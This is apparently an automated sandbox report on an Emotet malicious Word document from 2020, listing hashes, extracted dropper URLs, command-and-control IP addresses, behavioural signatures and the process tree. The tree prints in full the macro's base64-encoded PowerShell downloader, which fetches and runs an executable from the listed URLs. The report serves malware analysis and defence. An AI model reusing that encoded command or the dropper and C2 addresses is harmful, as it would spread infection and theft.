Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    137s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    26/08/2020, 20:50

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e2_d30dd5e885a79fb037d8a45fbc54cdfc8a4d0186cdb5f1cad6e3554458a5c69a_2020-08-26__204741._doc.doc
  • Size 231KB
  • Sample200826-8fz6cl2vs6
  • SHA256 d30dd5e885a79fb037d8a45fbc54cdfc8a4d0186cdb5f1cad6e3554458a5c69a
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://casaroomz.com/wp-includes/rPG/
  • exe.dropper

    http://necibekulac.com/wp-content/dTl4ul/
  • exe.dropper

    https://www.homeonetechnologies.com/blog/dcy/
  • exe.dropper

    http://todoparaelconfort.com/cgi-bin/wp/
  • exe.dropper

    http://aadarshitibhusawal.org/wp-includes/amI/
  • exe.dropper

    http://digiarmedia.com/wp-admin/8/
  • exe.dropper

    http://avcumda.com/huseyingulgec.com.tr/cO1DS8G/

Extracted

Family

  • emotet

C2

  • 173.81.218.65:80

  • 45.55.36.51:443

  • 91.83.93.99:7080

  • 45.55.219.163:443

  • 169.239.182.217:8080

  • 24.43.99.75:80

  • 78.24.219.147:8080

  • 95.179.229.244:8080

  • 107.5.122.110:80

  • 47.144.21.12:443

  • 204.197.146.48:80

  • 139.99.158.11:443

  • 190.160.53.126:80

  • 74.120.55.163:80

  • 74.109.108.202:80

  • 47.146.117.214:80

  • 104.236.246.93:8080

  • 174.137.65.18:80

  • 41.60.200.34:80

  • 209.141.54.221:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d30dd5e885a79fb037d8a45fbc54cdfc8a4d0186cdb5f1cad6e3554458a5c69a_2020-08-26__204741._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABEAG8AaQA3AHgAagAwAD0AKAAoACcATgAzACcAKwAnAGIAZwAnACkAKwAoACcAcwAnACsAJwBjAHMAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAG4AdgA6AFQAZQBtAHAAXABXAE8AUgBEAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABEAEkAUgBFAGMAdABvAFIAWQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBFAEMAYABVAFIAYABJAHQAWQBgAFAAYABSAG8AdABPAEMAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAJwArACcAMQAyACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAoACcAbABzACcAKwAnADEAMQAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFoAbwBfAGQAcAB1AGgAIAA9ACAAKAAoACcAWgAnACsAJwBsAGMAJwApACsAKAAnAG8AJwArACcAeQBfADQAJwApACkAOwAkAFEANAA4AF8AZABjAHoAPQAoACgAJwBVADcAJwArACcAYQBqACcAKQArACgAJwA2ADcAJwArACcAYwAnACkAKQA7ACQARAAxAGwANgBqAGQAMAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwAxADUAeAB3ACcAKwAnAG8AJwApACsAJwByAGQAJwArACgAJwAxACcAKwAnADUAeAAyACcAKQArACcAMAAnACsAKAAnADEAOQAxACcAKwAnADUAeAAnACkAKQAuACIAUgBgAEUAcABsAGEAYABDAEUAIgAoACgAWwBjAGgAYQBSAF0ANAA5ACsAWwBjAGgAYQBSAF0ANQAzACsAWwBjAGgAYQBSAF0AMQAyADAAKQAsACcAXAAnACkAKQArACQAWgBvAF8AZABwAHUAaAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVABzAGwAcwBjADMAcgA9ACgAKAAnAFgAdAAnACsAJwBlACcAKQArACgAJwBlAHIAJwArACcANQBhACcAKQApADsAJABOADEAYgBoAGQAMAA1AD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABOAGUAVAAuAHcARQBiAGMATABpAEUAbgBUADsAJABDAHcANAA3AG8AYwBnAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBjACcAKwAnAGEAcwBhACcAKQArACcAcgBvACcAKwAnAG8AJwArACgAJwBtAHoAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwACcAKwAnAC0AaQAnACkAKwAnAG4AJwArACgAJwBjACcAKwAnAGwAdQAnACsAJwBkAGUAcwAvAHIAJwApACsAKAAnAFAARwAnACsAJwAvACoAJwArACcAaAB0AHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AJwArACcAbgAnACkAKwAoACcAZQAnACsAJwBjAGkAYgAnACkAKwAnAGUAJwArACgAJwBrACcAKwAnAHUAbAAnACkAKwAnAGEAJwArACgAJwBjAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0AC8AJwApACsAJwBkAFQAJwArACcAbAAnACsAKAAnADQAJwArACcAdQBsACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAvAC8AdwB3ACcAKQArACgAJwB3AC4AaABvAG0AZQBvAG4AJwArACcAZQAnACsAJwB0AGUAYwAnACkAKwAnAGgAbgAnACsAKAAnAG8AbAAnACsAJwBvACcAKQArACgAJwBnAGkAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwAnACsAJwBiACcAKQArACcAbABvACcAKwAoACcAZwAnACsAJwAvAGQAYwB5ACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAvAC8AJwArACcAdAAnACkAKwAnAG8AZAAnACsAKAAnAG8AcABhACcAKwAnAHIAYQBlAGwAJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBuAGYAJwApACsAKAAnAG8AcgAnACsAJwB0AC4AJwApACsAKAAnAGMAbwBtAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAJwApACsAJwBuACcAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACgAJwAvAGEAYQBkAGEAcgBzAGgAaQAnACsAJwB0AGkAYgBoACcAKwAnAHUAJwArACcAcwAnACkAKwAoACcAYQAnACsAJwB3AGEAbAAnACkAKwAoACcALgBvAHIAZwAvAHcAJwArACcAcAAnACkAKwAnAC0AaQAnACsAJwBuACcAKwAnAGMAJwArACcAbAAnACsAKAAnAHUAZABlACcAKwAnAHMAJwApACsAJwAvACcAKwAoACcAYQAnACsAJwBtAEkAJwApACsAKAAnAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACgAJwBkACcAKwAnAGkAZwAnACkAKwAnAGkAJwArACgAJwBhAHIAJwArACcAbQBlAGQAaQBhACcAKQArACgAJwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAHcAcAAnACkAKwAnAC0AYQAnACsAJwBkAG0AJwArACcAaQBuACcAKwAnAC8AJwArACcAOAAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAAnACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwBhAHYAYwAnACsAJwB1ACcAKQArACcAbQBkACcAKwAoACcAYQAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGgAdQAnACkAKwAnAHMAZQAnACsAKAAnAHkAaQAnACsAJwBuAGcAdQAnACkAKwAoACcAbABnACcAKwAnAGUAJwApACsAKAAnAGMAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALgAnACsAJwB0AHIAJwApACsAJwAvAGMAJwArACgAJwBPADEARABTADgAJwArACcARwAnACsAJwAvACcAKQApAC4AIgBTAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAaQBpADYAbgAwADEAPQAoACgAJwBCACcAKwAnAHoAcAAnACkAKwAoACcAeABiACcAKwAnAGoAdgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAXwB1AGYAeABkADIAIABpAG4AIAAkAEMAdwA0ADcAbwBjAGcAKQB7AHQAcgB5AHsAJABOADEAYgBoAGQAMAA1AC4AIgBEAGAAbwBXAG4AbABvAGAAQQBEAGAARgBJAGwARQAiACgAJABYAF8AdQBmAHgAZAAyACwAIAAkAEQAMQBsADYAagBkADAAKQA7ACQARwBoAHcAZgB5AGwAMAA9ACgAKAAnAEkAJwArACcAXwBkAHUAJwApACsAJwAwACcAKwAnAHUANwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARAAxAGwANgBqAGQAMAApAC4AIgBsAGAAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwA4ADgAMQA3ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEQAMQBsADYAagBkADAAKQA7ACQAWAB5AHcAeABpAHMANAA9ACgAKAAnAFcAcABuAG4AJwArACcANgAnACkAKwAnADYAeQAnACkAOwBiAHIAZQBhAGsAOwAkAEEANwBqAGgANwByAGwAPQAoACcASgB0ACcAKwAoACcAbgA3AGYAJwArACcAcgBzACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADQAZgB3ADAAcgBfAD0AKAAnAFYAJwArACgAJwBtADQANwB2ACcAKwAnAHMAcgAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Zlcoy_4.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Zlcoy_4.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:468
      • C:\Windows\SysWOW64\oleres\KBDYAK.exe
        "C:\Windows\SysWOW64\oleres\KBDYAK.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1424

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/108-3-0x0000000006D00000-0x0000000006F00000-memory.dmp
        Download

        memory/108-4-0x0000000006D00000-0x0000000006F00000-memory.dmp
        Download

        memory/108-5-0x000000000ACF0000-0x000000000ACF4000-memory.dmp
        Download

        memory/108-6-0x0000000006D00000-0x0000000006F00000-memory.dmp
        Download

        memory/108-7-0x0000000006D00000-0x0000000006F00000-memory.dmp
        Download

        memory/108-2-0x00000000087B0000-0x00000000087B4000-memory.dmp
        Download

        memory/468-17-0x00000000001C0000-0x00000000001CC000-memory.dmp
        Download

        memory/1424-21-0x0000000000230000-0x000000000023C000-memory.dmp
        Download

        memory/1724-12-0x00000000023B0000-0x00000000023B1000-memory.dmp
        Download

        memory/1724-13-0x000000001C3A0000-0x000000001C3A1000-memory.dmp
        Download

        memory/1724-14-0x000000001C430000-0x000000001C431000-memory.dmp
        Download

        memory/1724-11-0x0000000002300000-0x0000000002301000-memory.dmp
        Download

        memory/1724-10-0x000000001ACA0000-0x000000001ACA1000-memory.dmp
        Download

        memory/1724-9-0x00000000024C0000-0x00000000024C1000-memory.dmp
        Download

        memory/1724-8-0x000007FEE99B0000-0x000007FEEA39C000-memory.dmp
        Download

        memory/1964-22-0x000007FEEF380000-0x000007FEEF5FA000-memory.dmp
        Download